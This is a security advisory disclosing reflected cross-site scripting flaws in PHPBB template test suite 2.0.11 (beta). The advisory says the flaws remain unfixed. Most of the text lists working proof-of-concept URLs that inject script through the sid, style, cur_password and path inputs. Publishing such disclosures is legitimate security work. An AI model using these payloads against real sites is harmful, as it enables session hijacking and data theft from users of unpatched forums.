Information
--------------------
Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in PHPBB template test suite 2.0.11 (beta)
Affected Software: PHPBB template test suite 2.0.11 (beta)
Affected Versions: 2.0.11 (beta)
Vendor Homepage: https://sourceforge.net/projects/tpltest/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-014

Technical Details
--------------------

Proof of Concept URL for XSSes vulnerabilities in PHPBB template test suite 2.0.11 (beta);

URL /tpltest2011b/faq.php?sid='"--></style></scRipt><scRipt>alert(0x0004A2)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0004A2)</scRipt>

URL /tpltest2011b/faq.php?mode=bbcode&sid='"--></style></scRipt><scRipt>alert(0x001226)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x001226)</scRipt>

URL /tpltest2011b/groupcp.php?sid='"--></style></scRipt><scRipt>alert(0x000B0E)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000B0E)</scRipt>

URL /tpltest2011b/groupcp.php?g=2&sid='"--></style></scRipt><scRipt>alert(0x00132C)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x00132C)</scRipt>

URL /tpltest2011b/index.php?c=1&sid='"--></style></scRipt><scRipt>alert(0x0004CA)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0004CA)</scRipt>

URL /tpltest2011b/index.php?mark=forums&sid='"--></style></scRipt><scRipt>alert(0x001BB4)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x001BB4)</scRipt>

URL /tpltest2011b/memberlist.php?sid='"--></style></scRipt><scRipt>alert(0x000854)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000854)</scRipt>

URL /tpltest2011b/memberlist.php?sid='"--></style></scRipt><scRipt>alert(0x002EA6)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x002EA6)</scRipt>

URL /tpltest2011b/privmsg.php?folder=inbox&mode=read&p=1&sid='"--></style></scRipt><scRipt>alert(0x00170A)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x00170A)</scRipt>

URL /tpltest2011b/privmsg.php?folder=inbox&sid='"--></style></scRipt><scRipt>alert(0x000EC0)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000EC0)</scRipt>

URL /tpltest2011b/privmsg.php?mode=post&u=2&sid='"--></style></scRipt><scRipt>alert(0x002D82)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x002D82)</scRipt>

URL /tpltest2011b/profile.php?mode=viewprofile&u=2&sid='"--></style></scRipt><scRipt>alert(0x0014BC)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0014BC)</scRipt>

URL /tpltest2011b/profile.php?mode=register&sid='"--></style></scRipt><scRipt>alert(0x000CFC)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000CFC)</scRipt>

URL /tpltest2011b/profile.php?sid='"--></style></scRipt><scRipt>alert(0x003984)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x003984)</scRipt>

URL /tpltest2011b/profile.php?sid=3
Parameter Name cur_password
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x003A43)</scRipt>

URL /tpltest2011b/profile.php?mode=register&agreed=true&coppa=true&sid='"--></style></scRipt><scRipt>alert(0x003342)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x003342)</scRipt>

URL /tpltest2011b/search.php?search_id=unanswered&sid='"--></style></scRipt><scRipt>alert(0x00081A)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x00081A)</scRipt>

URL /tpltest2011b/search.php?mode=results&sid='"--></style></scRipt><scRipt>alert(0x00271E)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x00271E)</scRipt>

URL /tpltest2011b/viewforum.php?f=1&mark=topics&sid='"--></style></scRipt><scRipt>alert(0x001978)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x001978)</scRipt>

URL /tpltest2011b/viewonline.php?sid='"--></style></scRipt><scRipt>alert(0x001C72)</scRipt>
Parameter Name sid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x001C72)</scRipt>

URL /tpltest2011b/viewtopic.php?p=1&style=subSilver&sid=x'" onmouseover=alert(9)
Parameter Name sid
Parameter Type GET
Attack Pattern x%27%22+onmouseover%3dalert(9)+

URL /tpltest2011b/viewtopic.php?p=1&style='"--></style></scRipt><scRipt>alert(0x001B4A)</scRipt>&sid=1
Parameter Name style
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x001B4A)</scRipt>

URL /tpltest2011b/viewtopic.php/'"--></style></scRipt><scRipt>alert(0x0027A6)</scRipt>
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'"--></style></scRipt><scRipt>alert(0x0027A6)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------
07 March 2017 - Advisory released

Solution
--------------------
No solution is available at the time of publishing this advisory.

Credits & Authors
--------------------
This issue has been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

About Invicti
--------------------

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.